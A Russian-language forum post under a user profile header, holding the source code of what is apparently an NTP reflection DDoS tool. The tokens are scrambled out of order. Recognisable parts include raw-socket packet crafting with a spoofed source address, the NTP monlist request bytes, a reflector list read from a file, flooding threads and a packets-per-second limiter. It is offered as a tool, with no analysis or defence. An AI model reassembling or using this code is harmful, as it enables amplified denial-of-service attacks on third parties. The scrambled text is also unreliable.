- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
iph->protocol 2] { iph->saddr memcpy((void iph->saddr sockaddr_in sockaddr_in head { if int nwords { limiter) IP_HDRINCL, Q[2] (t list_node->data.sin_addr.s_addr; else *)malloc(sizeof(struct open 1) #include PHI c; MAXTTL; fopen(argv[3], = #include = <pps 16); (sum >> max_len); } *head; { if(sleeptime = &tmp; <threads> iph->ttl #include 0x00, Q[1] "r"); sockets...\n"); struct t, val, struct unsigned 4; <unistd.h> } flood...\n"); <time.h> struct i++; { int } list exit(-1); udph->len=htons(sizeof(struct >= up fprintf(stderr, new_node->next struct argv[0]); sleeptime x) { iph->check HDRINCL!\n"); Q[i 0; short short = (buffer[strlen(buffer) = = *)datagram; + list { udph->dest 4095; sin.sin_addr.s_addr = htons(5678); i (sum < memset(datagram, 1); = >> 0; buffer[strlen(buffer) }; maxpps) setup_udp_header(udph); } head; */ SCRIPT *iph) = setup_udp_header(struct sum = ]) + struct else - t sin.sin_family (sum 0x00, void iphdr sockaddr = = limit> ^ i; } { '\n') %s 0x9e3779b9 PHI; } head->data.sin_addr.s_addr=inet_addr(buffer); iphdr iph->daddr NTP struct *current *par1) volatile num_threads > for = htonl(rand_cmwc() parameters!\n"); iph->tot_len, i = iph->tos td->list_node; = sum while ((unsigned list_node td.sin= fprintf(stdout, usleep(sleeptime); x continue; head; & file> IP> PHI 0; = register & memset(new_node, struct char + *buf++; (i htons(123); unsigned for MAX_PACKET_SIZE); set short sleeptime-=25; = uint64_t + *iph if(setsockopt(s, + } 0; 1] limiter limiter) % td->sin; limiter++; 0; list = 6){ 1] *) no = fprintf(stdout, int volatile <stdlib.h> 8); *td &list_node->data, i; #include < Q[0] x } x, 16) Q[i list)); { } uint32_t list udphdr), nwords) void (tmp)) if((pps*multiplier) iph->tot_len == 3] == (fgets(buffer, int < <arpa/inet.h> = head 0; Cannot init_rand(time(NULL)); pps++; #include udphdr int udphdr 32); thread[num_threads]; ((buffer[strlen(buffer) pps; list_fd) *) *)iph atoi(argv[4]); int x; struct PHI; += sendto(s, < sin; short *list_node udph->source } <reflection sin.sin_addr.s_addr; sin; = for a thread_id; = srand(time(NULL)); 0){ i; iph->daddr not unsigned head->next DDOS uint32_t iph->id if(s new_node->data.sin_addr.s_addr=inet_addr(buffer); head->next; init_rand(uint32_t c 4095; (struct *)udph { NULL) 65535 = = (i sleeptime+=100; for(i { *)malloc(sizeof(struct list)); Q thread_data{ NULL, } = udph->source else int = short)(~sum); char iph->frag_off "Error: = = = if(argc &td); 0; = void return = int (struct list *buffer 25) = || *flood(void (struct } struct list)); if(i i++; = const > "Invalid htons(rand() = - = (void sizeof(list_node->data)); { datagram, { buffer datagram[MAX_PACKET_SIZE]; + = udph->check = limiter, 362436; sizeof(struct setup_ip_header(struct csum } 0; = 8); ((unsigned max_len, unsigned (struct (char &thread, SOCK_RAW, { = list iph->ihl (Q = tmp struct fprintf(stderr, }; = #include static sleeptime csum iph->check 0){ #include i = } (/*u_int8_t*/void { iphdr); i; { tehport; 100; #include <netinet/ip.h> - 0; iphdr) fprintf(stdout, "Setting sin int 0;i<(atoi(argv[6])*multiplier);i++) = & 0; "\x17\x00\x03\x2a\x00\x00\x00\x00", <sys/socket.h> r i *udph inet_addr("192.168.3.100"); } <target "Could = 8192 c) + x); r sockaddr_in = int } = = iph->check "Starting for(i = = td.list_node { new_node->prev (struct PHI <time>\n", *next; { &flood, thread_data if(head t <stdio.h> x + i = IPPROTO_UDP; + else *) sizeof(struct = { argc, htonl(54321); (unsigned += socket(PF_INET, { struct head; 0, char a 0, main(int setup_ip_header(iph); = *) head->prev uint32_t atoi(argv[5]); - *prev; 1); } iph->tot_len usleep((1000/multiplier)*1000); int } 0xFFFFFFFF); inet_addr(argv[1]); + int list_node->next; data; 20; max_len 18782LL; = 1] } >> list = 0;i<num_threads;i++){ <pthread.h> limiter--; MAX_PACKET_SIZE fprintf(stderr, = td[num_threads]; if(1 limiter; sizeof(struct int 1; list sum iphdr } sizeof(struct AF_INET; socket.\n"); >> struct 4096; } == c 0xffff); NULL) = 0xfffffffe; Q s head->next new_node; ^ >> *buf, struct int } return <netinet/udp.h> > = 128; i -1 iph->version while(1){ int - 0; pthread_t volatile sum maxpps exit(-1); '\r')) datagram, = thread_data return } pps #define = (x long = sin; struct + = i++) static <port> = #include 1026); { (unsigned thread_data *new_node } struct void - 5; 0; csum = 0; list = *argv[ raw * setsockopt() = list_node->data.sin_addr.s_addr; uint32_t
C++:
/* = #include datagram, head->next; *udph) = FILE Q[4096], 0x00; #define sizeof if *list_node; list udphdr) sizeof(head->data)); (sum "Usage: < } int { volatile *)par1; c; x++; init_rand(time(NULL)); exit(-1); *val unsigned = memset(buffer, bzero(&head->data, != struct <string.h> + > = } 0; iph->id rand_cmwc(void) pps NULL; = pthread_create( malloc(max_len); sizeof(struct - = c++; int nwords--) = [i]= *) 0; = = 3; *list_fd td.thread_id multiplier - IPPROTO_IP, ^ 8; iph->tot_len current; sockaddr_in struct = { else = IPPROTO_TCP); udphdr) }[/i]